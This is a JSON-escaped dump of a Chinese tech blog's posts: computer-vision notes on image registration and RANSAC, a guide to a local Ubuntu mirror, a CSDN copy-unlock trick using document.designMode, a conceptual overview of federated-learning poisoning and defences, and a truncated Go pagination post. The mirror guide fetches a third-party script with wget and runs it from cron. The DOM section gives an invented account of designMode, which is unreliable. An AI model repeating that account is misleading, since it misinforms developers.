\u003cstrong\u003e将像素值分配给四个最近邻,记录每个点的权重并在最后归一化\u003c/strong\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e效果:混叠与模糊\u003c/p\u003e\u003c/blockquote\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e反向卷绕\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e先获取每个像素在原图像中对应的位置处的像素值 (逆变换)\u003c/p\u003e\u003cp\u003e如果像素位置不是整数,利用原来相邻像素值插值\u003c/p\u003e\u003cul\u003e\u003cli\u003e可能的插值滤波器\u003cul\u003e\u003cli\u003e最近邻\u003c/li\u003e\u003cli\u003e双线性\u003c/li\u003e\u003cli\u003e双三次\u003c/li\u003e\u003cli\u003e窗 sinc\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e需要防止锯齿和混叠(需要预先滤波)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e变换有哪几种\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e卷绕有两种\u003c/p\u003e\u003cp\u003e卷绕之后产生了非整数值怎么办\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e常见的变换\u003c/p\u003e\u003cul\u003e\u003cli\u003e旋转\u003c/li\u003e\u003cli\u003e平移\u003c/li\u003e\u003cli\u003e基本仿射变换\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e仿射变换的含义是什么\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"图像配准\"\u003e\u003ca href=\"#图像配准\" class=\"headerlink\" title=\"图像配准\"\u003e\u003c/a\u003e图像配准\u003c/h3\u003e\u003cp\u003e配准算法的流程,怎么实现\u003c/p\u003e\u003cul\u003e\u003cli\u003e特征提取\u003c/li\u003e\u003cli\u003e匹配\u003c/li\u003e\u003cli\u003e反向变换\u003c/li\u003e\u003cli\u003e插值\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e优化方式\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e最小二乘法\u003c/strong\u003e\u003c/p\u003e\u003ch4 id=\"图像配准算法\"\u003e\u003ca href=\"#图像配准算法\" class=\"headerlink\" title=\"图像配准算法\"\u003e\u003c/a\u003e图像配准算法\u003c/h4\u003e\u003cp\u003e\u003cstrong\u003e给定图像 A 和 B\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e计算 A、B 的图像特征\u003c/li\u003e\u003cli\u003e匹配 A、B 之间的特征\u003c/li\u003e\u003cli\u003e使用匹配集计算 A 到 B 的单应映射矩阵的最小二乘解\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"最小化残差平方和\"\u003e\u003ca href=\"#最小化残差平方和\" class=\"headerlink\" title=\"最小化残差平方和\"\u003e\u003c/a\u003e最小化残差平方和\u003c/h4\u003e\u003cp\u003e定义残差:\u003cbr\u003e$$\u003cbr\u003e\\begin{array} { l } { r _ { \\mathbf { x } _ { i } } \\left( \\mathbf { x } _ { t } \\right) \u0026#x3D; \\left( \\mathbf { x } _ { i } + \\mathbf { x } _ { t } \\right) - \\mathbf { x } _ { i } ^ { \\prime } } \\ { r _ { \\mathbf { y } _ { i } } \\left( \\mathbf { y } _ { t } \\right) \u0026#x3D; \\left( \\mathbf { y } _ { i } + \\mathbf { y } _ { t } \\right) - \\mathbf { y } _ { i } ^ { \\prime } } \\end{array}\u003cbr\u003e$$\u003cbr\u003e将 n 个点形成的 2n 个方程写成矩阵方程:\u003cbr\u003e$$\u003cbr\u003e\\left[ \\begin{array} { l l } { 1 } \u0026amp; { 0 } \\ { 0 } \u0026amp; { 1 } \\ { 1 } \u0026amp; { 0 } \\ { 0 } \u0026amp; { 1 } \\ { 0 } \u0026amp; { 1 } \\ { \\vdots } \\ { 1 } \u0026amp; { 0 } \\ { 0 } \u0026amp; { 1 } \\end{array} \\right] \\left[ \\begin{array} { l } { x _ { t } } \\ { y _ { t } } \\end{array} \\right] \u0026#x3D; \\left[ \\begin{array} { c } { x _ { 1 } ^ { \\prime } - x _ { 1 } } \\ { y _ { 1 } ^ { \\prime } - y _ { 1 } } \\ { x _ { 1 } ^ { \\prime } - x _ { 2 } } \\ { y _ { 2 } ^ { \\prime } - y _ { 2 } } \\ { \\vdots } \\ { x _ { n } ^ { \\prime } - x _ { n } } \\ { y _ { n } ^ { \\prime } - y _ { n } } \\end{array} \\right]\u003cbr\u003e$$\u003c/p\u003e\u003cp\u003e$$\u003cbr\u003eAt \u0026#x3D;b\u003cbr\u003e$$\u003c/p\u003e\u003cp\u003e找到 t ,最大限度的减少\u003cbr\u003e$$\u003cbr\u003e| \\mathbf { A } \\mathbf { t } - \\mathbf { b } | ^ { 2 }\u003cbr\u003e$$\u003c/p\u003e\u003cp\u003e$$\u003cbr\u003e\\begin{array} { c } { \\mathbf { A } ^ { \\mathrm { T } } \\mathbf { A } \\mathbf { t } \u0026#x3D; \\mathbf { A } ^ { \\mathrm { T } } \\mathbf { b } } \\ { \\mathbf { t } \u0026#x3D; \\left( \\mathbf { A } ^ { \\mathrm { T } } \\mathbf { A } \\right) ^ { - 1 } \\mathbf { A } ^ { \\mathrm { T } } \\mathbf { b } } \\end{array}\u003cbr\u003e$$\u003c/p\u003e\u003cp\u003e对于仿射变换:\u003cbr\u003e$$\u003cbr\u003e\\left[ \\begin{array} { l } { x ^ { \\prime } } \\ { y ^ { \\prime } } \\ { 1 } \\end{array} \\right] \u0026#x3D; \\left[ \\begin{array} { l l l } { a } \u0026amp; { b } \u0026amp; { c } \\ { d } \u0026amp; { e } \u0026amp; { f } \\ { 0 } \u0026amp; { 0 } \u0026amp; { 1 } \\end{array} \\right] \\left[ \\begin{array} { l } { x } \\ { y } \\ { 1 } \\end{array} \\right]\u003cbr\u003e$$\u003cbr\u003e有六个未知数,每个匹配有两个方程,我们需要三个匹配\u003c/p\u003e\u003cp\u003e残差:\u003cbr\u003e$$\u003cbr\u003e\\begin{aligned} r _ { x _ { i } } ( a , b , c , d , e , f ) \u0026amp; \u0026#x3D; \\left( a x _ { i } + b y _ { i } + c \\right) - x _ { i } ^ { \\prime } \\ r _ { y _ { i } } ( a , b , c , d , e , f ) \u0026amp; \u0026#x3D; \\left( d x _ { i } + e y _ { i } + f \\right) - y _ { i } ^ { \\prime } \\end{aligned}\u003cbr\u003e$$\u003cbr\u003e对于同态映射(透视变换)\u003cbr\u003e$$\u003cbr\u003e\\left[ \\begin{array} { c } { x _ { i } ^ { \\prime } } \\ { y _ { i } ^ { \\prime } } \\ { 1 } \\end{array} \\right] \\cong \\left[ \\begin{array} { l l l } { h _ { 00 } } \u0026amp; { h _ { 01 } } \u0026amp; { h _ { 02 } } \\ { h _ { 10 } } \u0026amp; { h _ { 11 } } \u0026amp; { h _ { 12 } } \\ { h _ { 20 } } \u0026amp; { h _ { 21 } } \u0026amp; { h _ { 22 } } \\end{array} \\right] \\left[ \\begin{array} { c } { x _ { i } } \\ { y _ { i } } \\ { 1 } \\end{array} \\right]\u003cbr\u003e$$\u003c/p\u003e\u003cp\u003e$$\u003cbr\u003e\\begin{aligned} x _ { i } ^ { \\prime } \\left( h _ { 20 } x _ { i } + h _ { 21 } y _ { i } + h _ { 22 } \\right) \u0026amp; \u0026#x3D; h _ { 00 } x _ { i } + h _ { 01 } y _ { i } + h _ { 02 } \\ y _ { i } ^ { \\prime } \\left( h _ { 20 } x _ { i } + h _ { 21 } y _ { i } + h _ { 22 } \\right) \u0026amp; \u0026#x3D; h _ { 10 } x _ { i } + h _ { 11 } y _ { i } + h _ { 12 } \\end{aligned}\u003cbr\u003e$$\u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://media.sumblog.cn/blog/20190105/LyDbpPwVzvUz.png?imageslim\" alt=\"mark\"\u003e\u003c/p\u003e\u003cp\u003eAh \u0026#x3D; 0 的非平凡最小二乘解,即为 $A^TA$ 具有最小特征值的特征向量\u003c/p\u003e\u003ch3 id=\"RANSAC-随机抽样一致\"\u003e\u003ca href=\"#RANSAC-随机抽样一致\" class=\"headerlink\" title=\"RANSAC 随机抽样一致\"\u003e\u003c/a\u003eRANSAC 随机抽样一致\u003c/h3\u003e\u003cp\u003e如何计算\u003c/p\u003e\u003cul\u003e\u003cli\u003e随机抽取\u003c/li\u003e\u003cli\u003e计算匹配误差\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"Ransac-算法\"\u003e\u003ca href=\"#Ransac-算法\" class=\"headerlink\" title=\"Ransac 算法\"\u003e\u003c/a\u003eRansac 算法\u003c/h4\u003e\u003col\u003e\u003cli\u003e随机选择 S 个样本\u003cul\u003e\u003cli\u003e通常 s 等于可以求解模型的最少样本数量\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e使用这 s 个样本求得一个解\u003c/li\u003e\u003cli\u003e计数符合模型的 inliers 数\u003c/li\u003e\u003cli\u003e重复 N 次\u003c/li\u003e\u003cli\u003e选择具有最多 inliers 数的模型\u003c/li\u003e\u003cli\u003e使用所有的 inliers 点,采用最小平方拟合\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"实验轮数的确定\"\u003e\u003ca href=\"#实验轮数的确定\" class=\"headerlink\" title=\"实验轮数的确定\"\u003e\u003c/a\u003e实验轮数的确定\u003c/h4\u003e\u003cul\u003e\u003cli\u003e$p$ 数内点的概率\u003c/li\u003e\u003cli\u003e$s$ 是每次实验使用样本点的数目\u003c/li\u003e\u003cli\u003e$P$ 为实验最终成功找到正确解的概率\u003c/li\u003e\u003cli\u003e$R$ 为实验轮数\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e$$\u003cbr\u003e\\begin{array} { l } \u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2023/11/06/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E8%A7%86%E8%A7%89/%E8%AE%A1%E7%AE%97%E6%9C%BA%E8%A7%86%E8%A7%89%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"如何搭建一个本地镜像源","time":"2023-10-16T15:23:51Z","content":"来玩pocketchip(OWO)\u003chr /\u003e\u003cp\u003e最近好哥们沉迷pocketchip,但是苦于架构比较古老(ARM-V7a但是能跑Linux Mainline),所以镜像站特别稀少,只有个国外的站点还开着。所以嘛,闲着也是闲着,就打算自己搭建一个镜像站咯。\u003c/p\u003e\u003cp\u003e顺便还能好好玩玩那个ESXi服务器。毕竟现在就只跑了一个OpenWRT和一个Ubuntu Server,实在没利用起来(\u003c/p\u003e\u003cp\u003e或许回头整个本地镜像源还能试试刷新一下Arch安装速度记录(逃\u003c/p\u003e\u003ch2 id=\"准备\"\u003e\u003ca href=\"#准备\" class=\"headerlink\" title=\"准备\"\u003e\u003c/a\u003e准备\u003c/h2\u003e\u003cp\u003e首先需要足够的硬盘空间和一个Linux计算机,以及差不多的网络环境。\u003c/p\u003e\u003cp\u003e然后是一些\u003cdel\u003e神秘妙妙\u003c/del\u003e工具:\u003ccode\u003eapache2, debmirror, gnupg, xz-utils, rsync(recommend)\u003c/code\u003e\u003c/p\u003e\u003ch2 id=\"开始\"\u003e\u003ca href=\"#开始\" class=\"headerlink\" title=\"开始\"\u003e\u003c/a\u003e开始\u003c/h2\u003e\u003cp\u003e首先,因为同步的数据量会比较大,所以建议使用一块单独的硬盘或者看具体情况分个区都行。硬盘处理好后,可以将它挂载到\u003ccode\u003e/mount/\u003c/code\u003e下,随后创建我们的镜像站仓库目录们。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003emkdir\u003c/span\u003e -p /mirror/debmirror/\u0026#123;amd64,keyring\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003emkdir\u003c/span\u003e -p /mirror/scripts \u003cspan class=\"comment\"\u003e# 各种镜像站工具脚本\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e随后安装GPG keyrnig:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egpg --no-default-keyring --keyring /mirror/debmirror/mirrorkeyring/trustedkeys.gpg --import /usr/share/keyrings/ubuntu-archive-keyring.gpg\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e安装完成后,在Web服务器站点根目录创建符号链接:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e /var/www/html\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eln\u003c/span\u003e -s /mirror/debmirror/amd64 ubuntu\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e在这之后,我们还需要配置debmirror才能实现自动同步upstream等功能。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e /mirror/scripts\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ewget https://louwrentius.com/files/debmirroramd64.sh.txt -O debmirroramd64.sh \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003echmod\u003c/span\u003e +x debmirroramd64.sh\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e接着修改脚本设置:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexport\u003c/span\u003e GNUPGHOME=/mirror/debmirror/mirrorkeyring\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003erelease=focal,focal-security,focal-updates,focal-backports,jammy,jammy-security,jammy-updates,jammy-backports\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eserver=nl.archive.ubuntu.com\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eproto=rsync\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eoutPath=/mirror/debmirror/amd64\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e#bwlimit=1000 # 设置rsync的带宽限速为1000KB/s,如果要启用这个限制,还需要取消注释下面的行:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e--rsync-options \u003cspan class=\"string\"\u003e\u0026quot;-aIL --partial --bwlimit=\u003cspan class=\"variable\"\u003e$bwlimit\u003c/span\u003e\u0026quot;\u003c/span\u003e \\\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e完成后,你可以先运行一次脚本来完成第一次同步。\u003cstrong\u003e同步完成后\u003c/strong\u003e,再在crontab里边加上自动任务(不然你的同步进程时间过长,可能会干扰cron任务):\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e0 1 * * * /mirror/scripts/debmirroramd64.sh\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"References\"\u003e\u003ca href=\"#References\" class=\"headerlink\" title=\"References\"\u003e\u003c/a\u003eReferences\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://louwrentius.com/how-to-setup-a-local-or-private-ubuntu-mirror.html\"\u003eLouwrentius - How to Setup a Local or Private Ubuntu Mirror\u003c/a\u003e\u003cbr\u003e\u003ca href=\"https://www.debian.org/mirror/ftpmirror\"\u003eDebian - Setting up a Debian archive mirror\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e","url":"https://mxts.jiujiuer.xyz/2023/10/16/setup-local-linux-mirror/"},{"title":"CSDN复制解禁","time":"2023-10-12T06:18:34Z","content":"(*/ω\*)\u003chr /\u003e\u003cp\u003e省流不看:F12开发者工具终端执行\u003ccode\u003edocument.designMode=\u0026#39;on\u0026#39;\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e原理嘛,就是利用浏览器的DOM启用设计模式来允许选择元素。关于DOM的详细介绍在下边:\u003c/p\u003e\u003ch2 id=\"DOM简介\"\u003e\u003ca href=\"#DOM简介\" class=\"headerlink\" title=\"DOM简介\"\u003e\u003c/a\u003eDOM简介\u003c/h2\u003e\u003cp\u003e在浏览器中,\u003ccode\u003edocument\u003c/code\u003e对象是一个非常重要的对象,它代表了当前页面的文档。\u003ccode\u003edocument.DesignMode\u003c/code\u003e属性是\u003ccode\u003edocument\u003c/code\u003e对象的一个属性,它用于指定页面的设计模式。\u003c/p\u003e\u003cp\u003e设计模式主要有两种:\u003c/p\u003e\u003col\u003e\u003cli\u003e模式(常态):页面在正常模式下运行,用户可以正常查看和操作页面元素。 \u003c/li\u003e\u003cli\u003elayouter 模式(布局模式):页面在 layouter 模式下运行,用户无法正常查看和操作页面元素,只能查看页面的布局和结构。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e这两种设计模式主要用于开发者调试和测试网页布局。通常,开发者会在开发过程中将页面切换到 layouter 模式,以便更好地查看和调整页面布局。当开发完成后,页面会自动切换回正常模式。\u003c/p\u003e\u003cp\u003e在页面加载时,浏览器会自动设置\u003ccode\u003edocument.DesignMode\u003c/code\u003e属性的值。开发者也可以通过 JavaScript 代码来修改这个属性的值,从而实现在不同设计模式之间的切换。\u003c/p\u003e\u003cp\u003e除了\u003ccode\u003eDesignMode\u003c/code\u003e属性之外,\u003ccode\u003edocument\u003c/code\u003e对象还有许多其他的属性和方法,它们可以用来完成各种网页开发任务。例如:\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003ccode\u003edocument.body\u003c/code\u003e:表示页面的主体部分,包含了所有的 HTML 元素。 \u003c/li\u003e\u003cli\u003e\u003ccode\u003edocument.title\u003c/code\u003e:表示页面的标题,通常显示在浏览器的标签页上。 \u003c/li\u003e\u003cli\u003e\u003ccode\u003edocument.getElementById()\u003c/code\u003e:通过元素的 ID 获取指定元素。 \u003c/li\u003e\u003cli\u003e\u003ccode\u003edocument.getElementsByClassName()\u003c/code\u003e:通过元素的类名获取指定元素集合。 \u003c/li\u003e\u003cli\u003e\u003ccode\u003edocument.getElementsByTagName()\u003c/code\u003e:通过元素的标签名获取指定元素集合。 \u003c/li\u003e\u003cli\u003e\u003ccode\u003edocument.querySelector()\u003c/code\u003e:通过 CSS 选择器获取指定元素。 \u003c/li\u003e\u003cli\u003e\u003ccode\u003edocument.querySelectorAll()\u003c/code\u003e:通过 CSS 选择器获取指定元素集合。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e此外,\u003ccode\u003edocument\u003c/code\u003e对象还提供了许多用于操作 DOM 的方法,如\u003ccode\u003ecreateElement()\u003c/code\u003e、\u003ccode\u003eappendChild()\u003c/code\u003e、\u003ccode\u003eremoveChild()\u003c/code\u003e、\u003ccode\u003einsertBefore()\u003c/code\u003e等,以及用于处理事件的方法,如\u003ccode\u003eaddEventListener()\u003c/code\u003e、\u003ccode\u003eremoveEventListener()\u003c/code\u003e等。\u003c/p\u003e\u003cp\u003e总之,\u003ccode\u003edocument\u003c/code\u003e对象是浏览器中最重要的对象之一,它为网页开发者提供了丰富的属性和方法,使得开发者可以更加方便地完成各种网页开发任务。\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2023/10/12/csdn-copy/"},{"title":"联邦学习的投毒和攻防方法","time":"2023-10-11T10:59:46Z","content":"(*/ω\*)\u003chr /\u003e\u003cp\u003e十分的交叉学科。具体而言就是机器学习领域的数据安全问题。\u003c/p\u003e\u003cp\u003e首先是标题 说的大概是一种新的人工智能学习范式。在这种防方式里也有攻击方式和相应的防御方式。\u003c/p\u003e\u003ch2 id=\"联邦学习简介\"\u003e\u003ca href=\"#联邦学习简介\" class=\"headerlink\" title=\"联邦学习简介\"\u003e\u003c/a\u003e联邦学习简介\u003c/h2\u003e\u003cul\u003e\u003cli\u003edefinition 联邦学习:一种分布式学习方法。解决的问题主要针对数据量不够\u0026#x2F;数据获取途径(成本问题),数据难以集中(法律问题和隐私问题)。一种时间方法是在本地进行小规模训练,然后将训练得到的模型参数上传汇总。不但规避了隐私版权问题,也保证了训练效果。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e根据以样本和特征分别作为基准,联邦学习又分为横向\u0026#x2F;纵向:同特征不同样本\u0026#x2F;同样本不同特征。它们各自有着相当不同的模型参数聚合方法。后者通常发生在大型企业之间,而前者通常发生在用户\u0026#x2F;公司之间,双方并非信任关系。\u003c/p\u003e\u003cp\u003e前者的聚合方法有简单的加权平均FedAvg,有离群点修复FedProx,还有SCAFFOLD等。而后者则利用隐私求交集PSI来完成加密实体对齐。典型的纵向联邦学习框架有SecureBoost。\u003c/p\u003e\u003cp\u003e但是数据特征仍然是反映在梯度参数中的,通过深度梯度泄漏方法DLG,可以恢复训练数据,这样就间接泄漏了训练数据的隐私。\u003c/p\u003e\u003ch2 id=\"隐私数据保护方法\"\u003e\u003ca href=\"#隐私数据保护方法\" class=\"headerlink\" title=\"隐私数据保护方法\"\u003e\u003c/a\u003e隐私数据保护方法\u003c/h2\u003e\u003cp\u003e防止梯度泄露的方法主要是两类:密码学方法和差分隐私(Differential Privacy).前者有MPC和HE等,通信开销和计算量较大,但是精度较高。后者则有噪声问题的困扰。\u003c/p\u003e\u003ch2 id=\"联邦学习的攻击方法\"\u003e\u003ca href=\"#联邦学习的攻击方法\" class=\"headerlink\" title=\"联邦学习的攻击方法\"\u003e\u003c/a\u003e联邦学习的攻击方法\u003c/h2\u003e\u003cp\u003e目的就是使训练模型很难收敛,破坏联邦学习模型的性能和可信度。\u003c/p\u003e\u003cul\u003e\u003cli\u003e投毒攻击,给本地数据添加错误,来弱化学习效果;或者更改分布式训练的模型参数。攻击者的知识、能力越强则攻击能力越强\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e但是太离谱的数据会被数据清洗过滤掉,太小的数据又没啥效果。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e目标\u0026#x2F;非目标攻击:针对特定\u0026#x2F;随即目标进行数据编造投毒攻击。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e数据打乱:比如对于不同群体的用户数据,互换他们attribute的结果,最终使得结果在不同群体上相反。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"投毒攻击的检测\"\u003e\u003ca href=\"#投毒攻击的检测\" class=\"headerlink\" title=\"投毒攻击的检测\"\u003e\u003c/a\u003e投毒攻击的检测\u003c/h2\u003e\u003cp\u003e这种检测难度不小:投毒攻击检测和隐私保护间的矛盾、数据非独立分布、攻击隐蔽性。\u003c/p\u003e\u003cp\u003e比较朴素的思路就是使用数据挖掘的清洗方法,对离群点等进行清洗。比如说有一些聚合方法:Krum, Bulyan, Trimmed mean(修整均值), Medium(中位数)等,都是一些经典的鲁棒性聚合规则。\u003c/p\u003e\u003ch2 id=\"防御方法\"\u003e\u003ca href=\"#防御方法\" class=\"headerlink\" title=\"防御方法\"\u003e\u003c/a\u003e防御方法\u003c/h2\u003e\u003cp\u003e首先是基于统计学的方法。但是它的局限性是只有少部分客户端被控制。\u003c/p\u003e\u003cp\u003e其次是用验证用数据集进行验证。不过这样纯粹的数据集很难找。\u003c/p\u003e\u003cp\u003e再者就是用机器学习方法1-AE进行检验。它首先在本地预训练一个自编码器模型,然后正式训练过程中基于自编码器计算各节点模型更新的重构误差。\u003c/p\u003e\u003cp\u003e2-GAN:可以用GAN尝试恢复出来训练样本来生成本地训练集,从而验证模型参数是否正常。但是缺陷是,无法应对在训练初期就发动攻击的方式。\u003c/p\u003e\u003cp\u003e区块链1-FLChain:由部分节点进行数据检测再进行上传,从而保证参数的正确性。问题是这部分节点如何选择,以及是否正常。解决方法可以是动态更新这部分成员结点,通过一系列置信度去更新这部分节点。\u003c/p\u003e\u003ch2 id=\"研究成果:神经网络模型水印\"\u003e\u003ca href=\"#研究成果:神经网络模型水印\" class=\"headerlink\" title=\"研究成果:神经网络模型水印\"\u003e\u003c/a\u003e研究成果:神经网络模型水印\u003c/h2\u003e\u003cp\u003e初始模型嵌入水印,并对水印进行检测。缺点是上传的模型不能加密。当然也可以允许加密,不过可以聚合模型,用聚合后的模型检验上传者。或者,可以比对上传者的历史行为数据,以此检测上传节点是否异常。\u003c/p\u003e\u003cp\u003e时间有限,基本就到这里了。\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2023/10/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%81%94%E9%82%A6%E5%AD%A6%E4%B9%A0%E7%9A%84%E6%8A%95%E6%AF%92%E5%92%8C%E6%94%BB%E9%98%B2%E6%96%B9%E6%B3%95/"},{"title":"Golang代码复用-分页最佳实践","time":"2023-10-07T13:59:46Z","content":"简简单单,一行分页。回头甚至能水个库?\u003chr /\u003e\u003cp\u003e分页是查询的一个基本要求之一。这部分代码大多重复,适合复用。下面是一种最佳实践:\u003c/p\u003e\u003cp\u003e这是一个传有分页数据的Gin Handler,它需要对数据库进行分页查询:\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(p propertyRepository)\u003c/span\u003e\u003c/span\u003e GetPagedAndFiltered (limit, page \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e随后我们定义一个\u003ccode\u003egorm\u003c/code\u003e中间件去对数据库进行分页:\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan 